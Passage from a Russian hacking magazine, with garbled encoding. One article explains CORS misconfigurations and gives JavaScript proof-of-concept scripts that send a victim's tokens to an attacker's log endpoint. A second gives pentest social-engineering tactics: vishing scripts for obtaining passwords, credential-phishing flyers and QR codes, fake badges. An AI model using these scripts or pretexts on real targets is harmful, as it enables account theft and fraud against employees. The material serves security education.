4. Зло умыш ленник получа ет лич ные дан ные, которые может исполь зовать

для раз вития ата ки.

Проб лема в том, что, ког да бра узер отправ ляет HTTP-зап рос из одно го
источни ка в дру гой, cookie-фай лы, отно сящи еся к дру гому домену, тоже
отправ ляют ся в зап росе. Это зна чит, что ответ будет сге нери рован в рам ках
сеан са поль зовате ля и будет вклю чать в себя дос тупные толь ко ему дан ные.
Что бы пре дот вра тить такое поведе ние, и сущес тву ет SOP.

Меж сай товые вза имо дей ствия обыч но делят на три катего рии:
1.  Как пра вило, допус кают ся. Это могут быть ссыл- 

ки, редирек ты, фор мы, отправ ка зап росов через fetch и так далее. Некото- 
рые  зап росы тре буют pre-ight (пред варитель ного зап роса),
но об этом погово рим отдель но.

Ìåæ ñàé òîâûå çàïèñè.

«ñëîæ íûå»

2.  Обыч но раз решено. Нап ример, для под- 

груз ки ресур сов через теги , ,  и ана логич ные им.

Ìåæ ñàé òîâîå âñòðà èâà íèå.

img video frame

3.  Как пра вило, не допус кает ся, но дос туп к чте нию
час то про сачи вает ся путем встра ива ния. Нап ример, ты можешь про читать
ширину и высоту встро енно го изоб ражения, получить резуль тат дей ствия
встро енно го сце нария или про верить дос тупность встро енно го ресур са.

Ìåæ ñàé òîâîå ÷òå íèå.

В качес тве иллюс тра ции отпра вим нес коль ко зап росов со стра ницы 

. Реак ция SOP при веде на в таб лице ниже.

http://
discovery-lab.su/index.html

А вот схе ма, показы вающая, из чего сос тоит заголо вок .Origin

CROSS-ORIGIN RESOURCE SHARING (CORS)

Рань ше сай там тре бова лось вза имо дей ство вать друг с дру гом, но SOP бло- 
киро вала мно жес тво таких зап росов. Тог да люди при дума ли механизм 

, который пред назна чал ся для смяг чения
полити ки SOP.

CORS

(Cross-Origin Resource Sharing)

Вот чуть более под робное опи сание из справ ки Mozilla:

«

»

«Cross-Origin Resource Sharing — ìåõàíèçì, èñïîëü çóþùèé äîïîë- 
íèòåëü íûå HTTP-çàãîëîâ êè, ÷òî áû äàòü âîç ìîæíîñòü àãåí òó ïîëü- 
çîâàòå ëÿ ïîëó÷àòü ðàç ðåøåíèÿ íà äîñ òóï ê âûá ðàííûì ðåñóð ñàì
ñ ñåð âåðà íà èñòî÷íè êå (äîìåíå), îòëè÷íîì îò òîãî, ÷òî ñàéò èñïîëü- 
çóåò â äàí íûé ìîìåíò. Ãîâîðÿò, ÷òî àãåíò ïîëü çîâàòå ëÿ äåëà åò çàï ðîñ
ñ äðó ãîãî èñòî÷íè êà  åñëè èñòî÷íèê
òåêóùå ãî äîêóìåí òà îòëè ÷àåò ñÿ îò çàï ðàøèâà åìî ãî ðåñóð ñà äîìåíîì,
ïðî òîêî ëîì èëè ïîð òîì».

(cross-origin HTTP request),

Те перь давай раз берем ся с дву мя заголов ками, на которые пред сто ит чаще
все го обра щать вни мание:  и 

.
Access-Control-Allow-Origin Access-

Control-Allow-Credentials

Access-Control-Allow-Origin
За голо вок отве та  показы вает, с какого

источни ка может быть дос тупен ответ сер вера.

Access-Control-Allow-Origin

Âîç ìîæíûå çíà ÷åíèÿ:

1. Звез дочка — говорит бра узе рам раз решать зап рос любого про исхожде- 
ния для дос тупа к ресур су (но толь ко для зап росов без учет ных дан ных).

2.  — ука зыва ет одно про исхожде ние, с которо го мож но получать
ответ сер вера.
<domain>

3.  — ука зыва ет «нулевое» про исхожде ние. 
 Про исхожде ние для некото рых схем ( ,

) и докумен ты, дос тупные через песоч ницу, опре деля ются
как «нулевые».

null Íè êîã äà íå äîáàâ ëÿé

åãî â áåëûé ñïè ñîê! data:

file:

Access-Control-Allow-Credentials
В зависи мос ти от заголов ков меж сай товые зап росы могут быть переда ны
без куки или заголов ка авто риза ции. Впро чем, если задана нас трой ка CORS

, то сер вер может раз решить

чте ние отве та, ког да переда ются куки или заголо вок авто риза ции.

Access-Control-Allow-Credentials: true

За меть, это несов мести мо с .Access-Control-Allow-Origin: *

Ïðîñòûå è ñëîæíûå çàïðîñû
 — это зап рос, удов летво ряющий сле дующим усло виям:Ïðîñ òîé çàï ðîñ

ис поль зует метод: ,  или ;• GET POST HEAD

ис поль зует  прос тые заголов ки из спис ка ниже:• òîëü êî

,• Accept

,• Accept-Language

,• Content-Language

 со зна чени ями 
,  и .

• Content-Type application/x-www-form-

urlencoded multipart/form-data text/plain

Лю бой дру гой зап рос счи тает ся . Нап ример, зап рос с методом

 или с HTTP-заголов ком  не будет соот ветс тво вать усло виям.

«ñëîæ íûì»

PUT API-Key
Прин ципи аль ное раз личие меж ду прос тым и слож ным зап росами — в том,

что прос той зап рос может быть сде лан через  или 

без каких-то спе циаль ных методов.

<form> <script>

Для слож ного зап роса мы можем исполь зовать любой HTTP-метод:
не толь ко , но и ,  и дру гие.GET/POST PATCH DELETE

Не кото рое вре мя назад ник то не мог даже пред положить, что веб-стра- 
ница спо соб на делать такие зап росы. Так что могут сущес тво вать веб-сер- 
висы, которые рас смат рива ют нес тандар тный метод как сиг нал «Это не бра- 
узер!», и нуж но учи тывать это при про вер ке прав дос тупа. Что бы избе жать
недопо нима ний, бра узер не дела ет «слож ные» зап росы (которые нель зя
было сде лать в прош лом) сра зу. Перед этим он посыла ет зап рос pre-ight,
спра шивая раз решения.

Çàïðîñû pre-flight
Зап росы pre-ight исполь зует метод . У него нет тела, но есть три

заголов ка:

OPTIONS

 содер жит имен но источник (домен, про токол или порт), без пути;• Origin

 содер жит HTTP-метод «неп росто го»
зап роса;

• Access-Control-Request-Method

 пре дос тавля ет раз делен ный
запяты ми спи сок его «слож ных» HTTP-заголов ков.

• Access-Control-Request-Headers

Ес ли сер вер сог ласен при нимать такие зап росы, то он дол жен отве тить
без тела, со ста тусом 200 и со сле дующи ми заголов ками:

 дол жен содер жать раз решен ный
источник;

• Access-Control-Allow-Origin

 дол жен содер жать раз решен ные
методы;

• Access-Control-Allow-Methods

 дол жен содер жать спи сок раз решен- 
ных заголов ков.

• Access-Control-Allow-Headers

Кро ме того, в заголов ке  может быть ука зано

количес тво секунд, на которое нуж но кеширо вать раз решения. Так что бра- 
узе ру не при дет ся посылать pre-ight для пос леду ющих зап росов, если раз- 
решение еще дей ству ет.

Access-Control-Max-Age

Вот, нап ример, pre-ight-зап рос на при мене ние метода  и поль- 
зователь ско го заголов ка :

PUT
Special-Request-Header

OPTIONS /data HTTP/1.1 
Host: <some website> 
... 
Origin: https://normal-website.com 
Access-Control-Request-Method: PUT 
Access-Control-Request-Headers: Special-Request-Header 

Сер вер может вер нуть ответ, подоб ный сле дующе му:

HTTP/1.1 204 No Content 
... 
Access-Control-Allow-Origin: https://normal-website.com 
Access-Control-Allow-Methods: PUT, POST, OPTIONS 
Access-Control-Allow-Headers: Special-Request-Header 
Access-Control-Allow-Credentials: true 
Access-Control-Max-Age: 240 

×ÀÑÒÛÅ ÎØÈÁÊÈ ÊÎÍÔÈÃÓÐÀÖÈÈ CORS

При экс плу ата ции мис конфи гов CORS мы учи тыва ем те же фак торы, что и при
CSRF-ата ках, но допол нитель но еще смот рим на заголов ки 

 и . Если повезет, мы
смо жем про читать ответ сер вера, что невоз можно при CSRF-ата ках.

Access-Control-
Allow-Origin Access-Control-Allow-Credentials

Раз берем мис конфи ги CORS, которые я встре чал чаще все го:
от ражение  в ответном заголов ке сер вера 

;
• Origin Access-Control-

Allow-Origin

зна чение  в белом спис ке;• null

ошиб ки пар синга заголов ка .• Origin

Îòðàæåíèå Origin â îòâåòíîì çàãîëîâêå
Пред ставь, что у тебя огромное при ложе ние. Новые домены появ ляют ся каж- 
дый день, тебе нуж но сле дить за все ми и сво евре мен но добав лять их в спи- 
сок раз решен ных доменов. Сто ит упус тить пару доменов, и что-то сло мает- 
ся. 

Что бы избе жать поломок, раз работ чики некото рых при ложе ний идут
по прос тому пути и раз реша ют дос туп из любого дру гого домена.  Один
из спо собов сде лать это — про читать заголо вок  из зап роса и вклю- 
чить в заголо вок отве та. Нап ример, рас смот рим при ложе ние, которое
получа ет сле дующий зап рос:

Origin

GET /get-my-tokens HTTP/1.1 
Host: vulnerable.discovery-lab.su 
Origin: https://malicious.su 
Cookie: sessionid= ... 

От вет сер вера:

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://malicious.su 
Access-Control-Allow-Credentials: true 
Access-Control-Allow-Methods: GET, POST, OPTIONS 
Access-Control-Allow-Headers: Special-Request-Header 
Access-Control-Max-Age: 240 
... 

В заголов ках выше ука зано, что дос туп раз решен из зап рашива юще го
домена ( ) и что зап росы меж ду источни ками могут вклю чать

фай лы cookie и заголов ки авто риза ции (
). Поэто му зап росы будут обра баты вать ся в сеан се жер- 

твы.

malicious.su
Access-Control-Allow-

Credentials: true

Пос коль ку при ложе ние отоб ража ет про изволь ные источни ки в заголов ке
, абсо лют но любой домен может получить

дос туп к ресур сам сай та из кон тро лиру емо го домена от име ни жер твы. Если
ответ содер жит кон фиден циаль ную информа цию вро де клю чей API
или токена CSRF, ты можешь получить ее, раз местив на сво ем веб-сер вере
вот такой скрипт:

Access-Control-Allow-Origin

     var req = new XMLHttpRequest(); // 1
   req.onload = reqListener; // 2

 
req.open('get','https://vulnerable.discovery-lab.su/get-my-tokens',
true); // 3

   req.withCredentials = true; // 4
 req.send(); // 5

   function reqListener() { // 6
   location='/log?key='+this.responseText;
};

Да вай раз берем, как работа ет этот скрипт.
1. Соз даем новый объ ект , который поз воля ет отправ лять

HTTP-зап росы к сер веру и получать отве ты на них.
XMLHttpRequest

2. Ус танав лива ем обра бот чик события , который будет вызывать ся
вся кий раз, ког да зап рос завер шится успешно.

onload

3. Вы зыва ем метод  у объ екта  для откры тия
соеди нения с сер вером, куда идет зап рос на получе ние информа ции
о деталях акка унта.

open() XMLHttpRequest

4. Ус танав лива ем зна чение  для свой ства  объ екта
. Это свой ство поз волит отправ лять и получать

информа цию о cookies меж ду раз ными домена ми при исполь зовании
CORS.

true withCredentials

XMLHttpRequest

5. Вы зыва ем метод  объ екта  для отправ ки GET-
зап роса на сер вер, ука зан ный в парамет ре .

send() XMLHttpRequest

open()

6. В фун кции  обра баты вает ся ответ сер вера.
В парамет рах GET-зап роса стро ки заменя ются отве том сер вера.

onload (reqListener())

За меть, перемен ной  прис ваивает ся новое зна чение, что при ведет

к перенап равле нию поль зовате ля на новую стра ницу. Ответ, получен ный
ранее от сер вера, переда ется парамет ром в фун кцию .

location

log

Çíà÷åíèå null â áåëîì ñïèñêå
Иног да для удобс тва локаль ного тес тирова ния при ложе ния раз работ чики
добав ляют про исхожде ние  в белый спи сок. Эта оплошность поз воля ет

зло умыш ленни ку получить дос туп к ресур сам сай та из кон тро лиру емо го
домена от име ни жер твы.

null

Про цесс экс плу ата ции и сам скрипт поч ти такие же, как в пер вом слу чае,
но есть одно сущес твен ное отли чие — зап рос дол жен быть ини цииро ван
из схе мы  или .data: file:

  <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src=
"data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable.discovery-lab.su/get-my-tokens',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='malicious.discovery-lab.su/log?key='+this.responseText;
};

</script>">
</iframe>

Îøèáêè ïàðñèíãà çàãîëîâêà Origin
Не кото рые при ложе ния, работа ющие с заголов ком , исполь зуют пар- 

синг на осно ве регуляр ных выраже ний. Рас смот рим при мер и уви дим импакт,
который могут дать кри во написан ные регуляр ки. Отпра вим нес коль ко зап- 
росов к сер вису с раз ных источни ков.

Origin

Под домен :sub1

Host: sub1.vulnerable.su 

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://sub1.vulnerable.su 
Access-Control-Allow-Credentials: true 

Под домен :somesub2

Host: somesub2.vulnerable.su 

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://somesub2.vulnerable.su 
Access-Control-Allow-Credentials: true 

Сайт, кон тро лиру емый зло умыш ленни ком ( ):malicous.com

Host:  malicous.com 

HTTP/1.1 200 OK 

Из отве тов выше можем выяс нить, что дос туп на чте ние к ресур су могут
получить толь ко его под домены. Пред ста вим, что сайт исполь зует регуляр ку 

 для про вер ки при над лежнос ти источни ка.
[

a-zA-Z0-9]*.vulnerable.com
Ес ли ты не зна ком с син такси сом RegEx, то пред ставь, что страш ная стро- 

ка выше — это что-то вро де мас ки, на соот ветс твие которой про веря ется
стро ка (то есть домен). Здесь

 — любая циф ра или бук ва;• [a-zA-Z0-9]

звез дочка — сопос тавля ет иду щее перед ней выраже ние от нуля до неог- 
раничен ного количес тва раз, столь ко раз, сколь ко воз можно;

•

точ ка — cоот ветс тву ет любому сим волу, вклю чая сим волы Unicode (кро ме
сим вола кон ца стро ки);

•

 и  — строч ки, которые дол жны при сутс тво вать в про веря- 
емом тек сте.

• vulnerable com

Ито го сов падение будет в слу чае, если сна чала идет какое-то количес тво
цифр и букв (может быть нулевым), потом любой сим вол, потом ,

сно ва любой сим вол и в кон це стро ка .

vulnerable
com

Оче вид но, что раз работ чик исполь зовал точ ку, имея в виду имен но сим вол
точ ки, который бы отде лял под домен. В таком слу чае точ ку нуж но было экра- 
ниро вать, пос тавив перед ней обратный слеш ( ), но об этом лег ко забыть,

а при ложе ние будет работать и с ошиб кой.

\.

По луча ется, что зло умыш ленник теперь может зарегис три ровать домен
 и получить дос туп к ресур сам сай та из кон тро- 

лиру емо го домена от име ни жер твы.
maclicousvulnerable.com

Продолжение статьи →
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КУРС НА МИСКОНФИГИ
КАК ПОЙМАТЬ ПРОБЛЕМНЫЙ CORS

НА ПРОДЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Â ÏÎÈÑÊÀÕ ÌÈÑÊÎÍÔÈÃÎÂ

Те перь, ког да мы пол ностью разоб рались с механиз мом работы CORS, прис- 
тупим к поис ку мис конфи гов! Для это го мы соз дали неболь шую ,
где ты смо жешь про верять работос пособ ность сво их PoC. Код пока зак рыт,
но поз же откро ется, и ссыл ка ста нет дос тупна.

ла бора торию

Мы отправ ляли зап росы из трех бра узе ров:
Chromium (Version 118.0.5993.117);•
Mozilla Firefox 121.0;•
Safari 16.5 Mac Ventura (BrowserStack).•

Для упро щения тес тирова ния мы соз дали три эндпо инта с раз ными нас трой- 
ками.

На каж дый из эндпо интов отправ ляли по зап росу GET и POST из интерфей са
лабы.

ÒÅÑÒÈÐÎÂÀÍÈÅ

В иссле дова нии мы рас смат ривали шесть сце нари ев, в которых зап рос стра- 
ницы при водит к перехо ду на дру гой сайт.

На скрин шоте — поведе ние CORS при отправ ке зап росов с «неиз вес тно го»
источни ка  на источник 

.
https://lab.sidneyjob.ru https://discovery-

lab.su

Раз лича ются домены источни ков

По веде ние CORS при отправ ке зап росов с источни ка 

 на источник , у которых раз- 
лича ется толь ко порт.

https://discovery-
lab.su:444 https://discovery-lab.su:443

Раз лича ются пор ты источни ков

По веде ние CORS, ког да при отправ ке зап росов с 
на  отли чают ся схе мы источни ков.

http://discovery-lab.su
https://discovery-lab.su

Раз лича ются схе мы источни ков

По веде ние CORS, ког да при отправ ке зап росов с 

 на  отли чают ся под домены, но кор- 
невой домен оста ется тем же.

https://l3.discovery-
lab.su https://l3-2.discovery-lab.su

Раз лича ются под домены источни ков

По веде ние CORS, ког да при отправ ке зап росов с 

 на  отли чают ся уров ни
под доменов, то есть зап росы идут с домена чет верто го уров ня на домен
треть его уров ня, но кор невой домен оста ется тем же.

https://l4.l3.
discovery-lab.su https://l3.discovery-lab.su

Раз лича ются уров ни под доменов источни ков

По веде ние CORS, ког да зап росы идут с 
на тот же источник .

https://discovery-lab.su:443
https://discovery-lab.su:443

Ис точник обра щает ся сам к себе

ÐÅÇÓËÜÒÀÒÛ

Во всех про верен ных бра узе рах CORS реали зован оди нако во. Впро чем,
это не помеша ло нам най ти инте рес ные осо бен ности поведе ния!

Ес ли сайт исполь зует самопод писан ный, чужой или по какой-то еще при- 
чине невер ный сер тификат, то при перехо де на сайт бра узер генери рует окно
с пре дуп режде нием, отго вари вая нас перехо дить на подоз ритель ный ресурс.

Ес ли жер тва ни разу не заходи ла на подоз ритель ный сайт с невер ным сер- 
тифика том, а скрипт пыта ется сде лать зап рос к нему, то воз ника ет воп рос:
что же делать? Каж дый из бра узе ров отве тил по-сво ему.

В Safari ни один зап рос не будет доходить до сай та.

В Firefox пер вый зап рос не прой дет, а пос леду ющие прой дут.

В Chromium прой дут все зап росы .без про вер ки пас порта

ÂÛÂÎÄÛ

Итак, мы вспом нили, как работа ет SOP и CORS, пос мотре ли на воз можные
мис конфи ги и спо собы их экс плу ата ции, про вели нес коль ко экспе римен тов
и даже вспом нили, как работа ют регуляр ки! Если ты раз работ чик, ста рай ся
не допус кать подоб ных оплошнос тей, а если пен тестер, то помоги в этом раз- 
работ чику!

https://github.com/SidneyJob/CSTL


Автор книги о социальной
инженерии «Контролируемый

взлом»

Юрий Другач

ВЗЛОМ

Са мая зах ватыва ющая и роман тизиро ван- 
ная часть соци аль ной инже нерии — это,
конеч но, офлайн-ата ки. Фишинг по элек- 
трон ной поч те — инте рес ный про цесс, но в
офлай не пен тестер по-нас тояще му рас- 
кры вает ся как твор ческая лич ность. Вот
об этой сто роне искусс тва соци аль ной
инже нерии мы сегод ня и погово рим, раз- 
берем прак тичес кие методы работы пен- 
тесте ра в офлай не, а так же обсу дим при- 
меры успешных атак.

С вос хищени ем мы слу шаем исто рии о том, как пен тесте ры готовят ся к ата ке,
при думы вая под ходящую леген ду. Нап ример, выда ют себя за устра ивающе- 
гося на работу соис кателя, под делыва ют про пуск, а потом про ника ют
в периметр орга низа ции, под клю чают ся к внут ренней сети, химичат в сер- 
верной, рас кле ивают пла каты с QR-кодами или прос то раз бра сыва ют флеш- 
ки с «сюр при зом». В этой статье мы раз берем при меры таких атак. Нес коль ко
из них будут поза имс тво ваны из моей кни ги «

», кро ме них, рас смот рим ряд дру гих при меров
из интерне та.

Кон тро лиру емый взлом. Биб лия
соци аль ной инже нерии

TAILGATING

Наз вание это го типа ата ки мож но перевес ти как «упасть на хвост»
или «парово зик». Она пред полага ет физичес кое сле дова ние за упол- 
номочен ным лицом для получе ния дос тупа в зап рещен ную зону или зда ние.
Вот  реали зации этой ата ки.пять при меров

Вто рой при мер из видео, где показы вает ся про ник новение на объ ект через
откры тую дверь, я реаль но наб людал в одной из орга низа ций со стро гими
муж чинами на про ход ной. Все бы хорошо, но запас ной вход был открыт
нарас пашку.

Во обще, сто ит отме тить, что один из глав ных навыков соци аль ного инже- 
нера — это не пси холо гия или, боже упа си, НЛП, а наб людатель ность. С ее
помощью собира ется информа ция о цели, что уже сос тавля ет при мер но
полови ну работы. Ну а при реали зации офлайн-сце нария важ ным навыком
будет хлад нокро вие, ведь не так прос то сдер жать эмо ции, ког да ты пыта ешь- 
ся прой ти мимо охра ны по под дель ному про пус ку.

ÏÐÎÍÈÊÍÎÂÅÍÈÅ ÍÀ ÎÁÚÅÊÒÛ

По мимо «обыч ных» спо собов про ник новения в офис целевой ком пании
под видом потен циаль ного работ ника, при шед шего на собесе дова ние,
или сот рудни ка сер висной служ бы, которо го яко бы прис лали что-то там
ремон тировать, есть и необыч ные спо собы. Рас смот рим один из них.

Нап ример, мож но  через раз ные «тур никеты» с лес тни цей под мыш- 
кой.

прой ти

Есть еще один при мер из Яку тии, ког да жур налис ты при няли чел лендж
и исполь зовали для про хода в суды, МВД, про кура туру, а так же в дру гие орга- 
низа ции... обыч ную бутыл ку воды. К сожале нию, на пуб личных виде охос тингах
пос вящен ную это му экспе римен ту запись уже выпили ли, оста лась ссыл ка
толь ко на .зап рещен ную в Рос сии соци аль ную сеть

ÏËÅ×ÅÂÀß ÀÒÀÊÀ

Этот вид ата ки счи тает ся клас сикой жан ра в соци аль ной инже нерии. Ее
еще называ ют «пле чевой сер финг».

Суть метода зак люча ется в том, что ты прос то под гля дыва ешь со сто роны
за источни ком кон фиден циаль ной информа ции. Нап ример, сле дишь за вво- 
дом пароля на телефо не или чита ешь текст внут ренне го докумен та, который
сот рудник вни матель но изу чает на ноут буке.

Нап ример, ожи дая на про ход ной одной ком пании, я обна ружил, что совер- 
шенно спо кой но могу наб людать за монито ром охра ны, пост которой
находил ся в отдель ной кабин ке. На экра не были вид ны таб лички, ФИО сот- 
рудни ков и дру гая информа ция, которая пред назна чалась явно не для пос- 
торон них.

В  показа на прос тая демонс тра ция «пле чевой ата ки» в общес твен- 
ном тран спор те. Ничего фан тасти чес кого, это прос то под смат ривание
пароля.

ви део

PIGGYBACKING

Наз вание этой ата ки мож но перевес ти как «катание на спи не». Она пред- 
полага ет исполь зование активной сес сии поль зовате ля для получе ния несан- 
кци они рован ного дос тупа.

Во обще, некото рые авто ры неред ко сме шива ют воеди но рас смот ренный
ранее Tailgating и Piggybacking, при том зачас тую пря мо в заголов ках одной
статьи, яко бы это одно и то же. Всег да нап рягало подоб ное струк туриро- 
вание информа ции. Либо тер мин один, либо их два, и тог да они несут раз ный
смысл и кон текст. В этой статье я раз делил их по смыс лу, так что тебе не при- 
дет ся ломать голову над отли чиями этих атак.

Итак,  мы можем наб людать, как «зло умыш- 
ленник» сна чала исполь зует «пле чевую ата ку», под гля дывая за тем, что поль- 
зователь вво дит на ком пе, а пос ле это го при меня ет Piggybacking, исполь зуя
активную сес сию в сво их инте ресах.

в этом пос тановоч ном видео

Вот для чего нуж но бло киро вать сес сию, отхо дя от устрой ства, но сей час
не об этом.

ÄÎÐÎÆÍÎÅ ßÁËÎÊÎ

На соци аль но-инже нер ном слен ге «дорож ное ябло ко» — это ког да мы под- 
бра сыва ем какое-то устрой ство с «сюр при зом», а жер тва под бира ет его
и исполь зует. Помимо прес ловутой флеш ки, устрой ства с вре доно сом, GPS-
тре кером, прос лушкой, быва ют раз ные: внеш ний жес ткий диск, MP3-пле ер,
повер банк и даже про вод для заряд ки телефо на.

Вот, нап ример, как  вре донос ное ПО, сох ранен ное на флеш ке
и ими тиру ющее устрой ство вво да (мышь или кла виату ру). «Вирус» сра баты- 
вает даже нес мотря на то, что на целевом компь юте ре зап рещен запуск
исполня емых фай лов. Ролик на англий ском, одна ко мож но исполь зовать
широко извес тный бра узер для онлайн-перево да видео — он доволь но неп- 
лохо справ ляет ся со сво ей задачей.

ра бота ет

ÌÓÑÎÐÍÛÉ ÑÅÐÔÈÍÃ

Ду маешь, толь ко в кино десяти лет ней дав ности хакеры копались в мусор ке
в поис ках полез ной информа ции? Почитай кни гу от прак тика соци аль ной
инже нерии Джон ни Лон га No Tech Hacking: A Guide to Social Engineering,
Dumpster Diving, and Shoulder Surng. Отдель ная гла ва пос вящена имен но
копанию в мусор ных баках.

И опять же, если понима ешь, о чем говорят на англий ском язы ке, можешь
пос мотреть  о том, как ребята исполь зовали най ден ные в мусоре
докумен ты, что бы про ник нуть в авто салон с дороги ми авто моби лями.

ви део

VISHING

Ви шинг (англ. vishing, от voice phishing) — исполь зование телефон ной свя зи
для обма на поль зовате ля или вымани вания допол нитель ной информа ции.

По мимо стан дар тно го звон ка сот рудни ку в пят ницу под конец рабоче го
дня с прось бой задер жать ся и помочь с вос ста нов лени ем пароля, пос коль ку
про изо шел тех ничес кий сбой, мож но поп робовать и .нес тандар тный спо соб

В этом сце нарии «зло умыш ленник» про сит жер тву сме нить пароль
на новый, который он теперь, естес твен но, зна ет и которым смо жет вос поль- 
зовать ся. Если на пор тале (или в любом дру гом сер висе) сто ит двух фактор- 
ная аутен тифика ция, то прой ти ее так же поможет поль зователь, раз уж он
толь ко что помог зло умыш ленни ку сме нить свой пароль.

Вто рой вари ант: если человек не зна ет, что нуж но делать, что бы сме нить
пароль, мож но про вес ти при мер но сле дующий диалог.

«
»

 «Õîðîøî, ÿ ïîìîãó âàì è ñìå íþ ïàðîëü çà âàñ. Òåêóùèé
ïàðîëü ÿ íå çíàþ, ïîñ êîëü êó îí óæå ñáðî øåí, íî îí ñåé ÷àñ ïîíàäî- 
áèò ñÿ äëÿ âîñ ñòà íîâ ëåíèÿ ñèñ òåìû». 

 «Õîðîøî». 
 «Ïðî äèê òóé òå ïàðîëü ïî ñèì âîëàì».

Пен тестер:

Жер тва:
Пен тестер:

FIND TRAP Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÒÅËÅÔÎÍÀ

Тех ника Find trap («поиск ловуш ки» или «самос тоятель ный поиск ловуш ки») —
это метод соци аль ной инже нерии, ког да жер тве дос тавля ется часть
информа ции, оставшу юся часть которой она самос тоятель но ищет в поис- 
ковых сис темах, попадая на вре донос ный ресурс. Давай рас смот рим вари ант
при мене ния этой тех ники с исполь зовани ем телефон ных звон ков, а не email-
рас сылок.

Ес ли ата куют физичес ких лиц, а не сот рудни ков орга низа ции, дела ется
проз вон кли ентов по какой-либо сли той базе. Потен циаль ные жер твы ищут
в поис ковике, кто им зво нил, и попада ют на фей ковый сайт.

Нап ример, сли та база сети магази нов «Чет вероч ка», тог да на под кон- 
троль ном фей ковом сай те зло умыш ленник ука жет «полез ную» информа цию,
яко бы «Чет вероч ка» из-за неп равиль но нас читан ного НДС дела ет воз- 
врат 20% средств для тех, кто совер шал покуп ки в этом году. Нуж но лишь
ввес ти дан ные сво ей бан ков ской кар ты и получить воз мещение.

Был такой слу чай: однажды мне поз вонили с какого-то вен гер ско го
номера. Труб ку я не снял, но номер погуг лил. На пер вом или вто ром мес те
в резуль татах поис ка обна ружи лась ссыл ка, перей дя по которой я ока зал ся
в чьем-то лич ном кабине те некой пла теж ной сис темы. На балан се яко бы име- 
лась круг лая сум ма в крип товалю те. Рас чет на то, что алчная жер тва поп робу- 
ет вывес ти средс тва на собс твен ную кар ту, рек визиты которой и попадут
к мошен никам.

Но в этой статье мы боль ше не говорим про физ лиц, а изу чаем при меры
с кор поратив ной нап равлен ностью. Сот рудни ку орга низа ции мож но 2–3 раза
поз вонить на мобиль ный (ожи дая по одно му гуд ку), что бы он погуг лил номер.
А затем под сунуть ему сайт с некой информа цией для сот рудни ков имен но
этой орга низа ции и полез ной наг рузкой в виде фишин говой фор мы или ска- 
чива емо го вре донос ного фай ла.

ÁÓÌÀÃÀ ÍÅ ÂÎ ÁËÀÃÎ

Рас смот рим нес коль ко при меров, ког да бумаж ный носитель информа ции
мож но исполь зовать в сво их пен тестер ских целях.

Фо то поль зовате ля @tehnota

Ïîäáðàñûâàíèå êîðïîðàòèâíûõ äîêóìåíòîâ
Под бра сывать мож но не толь ко флеш ки с полез ной наг рузкой, но и «кор- 
поратив ные» докумен ты (при казы, спис ки на уволь нение и так далее). Если ты
попал внутрь перимет ра, иди в убор ную, общую кух ню (но ничего там не ешь,
оно чужое), к жур наль ному сто лику и положи на вид ное мес то яко бы офи- 
циаль ный документ, за под писью какого-нибудь началь ника орга низа ции.

В докумен те не забудь ука зать ссыл ку на сайт, собира ющий логины
и пароли.

Áóìàæíàÿ ðåêëàìà
С помощью бумаж ного пись ма с закосом под рек ламу мож но пре дос тавить
дос туп сот рудни ку яко бы к толь ко что открыв шемуся полез ному сер вису. Нап- 
ример, бух галте рам или юрис там мож но под сунуть какую-нибудь бес плат ную
базу нор матив ных докумен тов или плат ную, но с халяв ным дос тупом. В пись- 
ме будет ссыл ка на «сер вис» и неболь шая леген да на самом сай те, рас ска- 
зыва ющая, почему нуж но ввес ти логин и пароль имен но от кор поратив ной
учет ной записи. Нап ример: «В целях при вяз ки кабине та к вашей ком пании
исполь зуйте учет ную запись орга низа ции и пароль от нее».

А если в ком пании исполь зуют кор поратив ный пор тал вро де
какого-нибудь «Итрикс34», в рек ламе мож но написать, что у раз работ чиков
появил ся сер вис для бух галте ров с неверо ятны ми воз можнос тями. Но вой ти
в сер вис мож но толь ко с учет ной записью от «Итрикс34».

QR-ÊÎÄÛ

Та кие коды обыч но нак леивают на чей-то пла кат, рек ламу, опо веще ния
для сот рудни ков в общес твен ных (и не толь ко) помеще ниях. Разуме ется,
мож но не толь ко «парази тиро вать» на чужих пла катах, но и соз давать свои.

Про ник в зда ние орга низа ции? При нимай ся рас кла дывать кра сиво офор- 
млен ные, брен дирован ные под стиль орга низа ции-жер твы лис товки и кле ить
пла каты (ско рее все го, без наказан но это получит ся сде лать толь ко в туале те,
где нет виде онаб людения, но все зависит от наличия виде ока мер
по перимет ру. Кто-то спо кой но кле ит пла каты воз ле лиф тов и в коридо рах).

Текст акции, нап ример, для ретейл-ком пании, может быть таким: «Кол- 
леги, в свя зи с обновле нием ассорти мен та про дук ция будет рас про дана сре- 
ди сот рудни ков с 90%-й скид кой. На нашем пор тале в спе циаль ном раз деле
(QR-код со ссыл кой ниже) есть спи сок оставшей ся про дук ции. То, что Вы
решите выкупить, пометь те в таб лице зна ком +. Мероп риятие дей ству ет
до кон ца недели».

Ко неч но, для раз ных орга низа ций лис товки будут со сво им бонусом, ведь
про дук ция далеко не вся кой орга низа ции нуж на каж дому ее сот рудни ку.
В таком слу чае при думай «акцию» от пар тне ров. Нап ример: «В рам ках стра- 
теги чес кого сот рудни чес тва для сот рудни ков ООО „Ромаш ка“ сеть магази нов
„Бук варь вку са“ пре дос тавила сер тифика ты номина лом 7500 руб. Для это- 
го…»

Еще неп лохо заходит раз дача чего угод но, если это яко бы было куп лено
в качес тве подар ков пар тне рам, но ока залось невос тре бован ным.

ÂÈÇÓÀËÜÍÛÉ ÏÐÎÏÓÑÊ

Речь идет о соци аль ной инже нерии с помощью под дель ных про пус ков и бей- 
джи ков. В тех слу чаях, ког да на пун кте охра ны про пуск явля ется не тех ничес- 
ким, а чис то визу аль ным атри бутом для про ник новения за периметр (понаб- 
людай, как ведет себя охра на), мож но сде лать копию такого про пус ка. В сто- 
ловой, кафе, рес торане, где появ ляют ся сот рудни ки, мож но без тру да сфо- 
тог рафиро вать обра зец.

Кста ти, если, помимо про пус ка, пот ребу ется исполь зовать фир менную одеж- 
ду целевой орга низа ции,  инос тран цы под робно рас ска зыва ют,
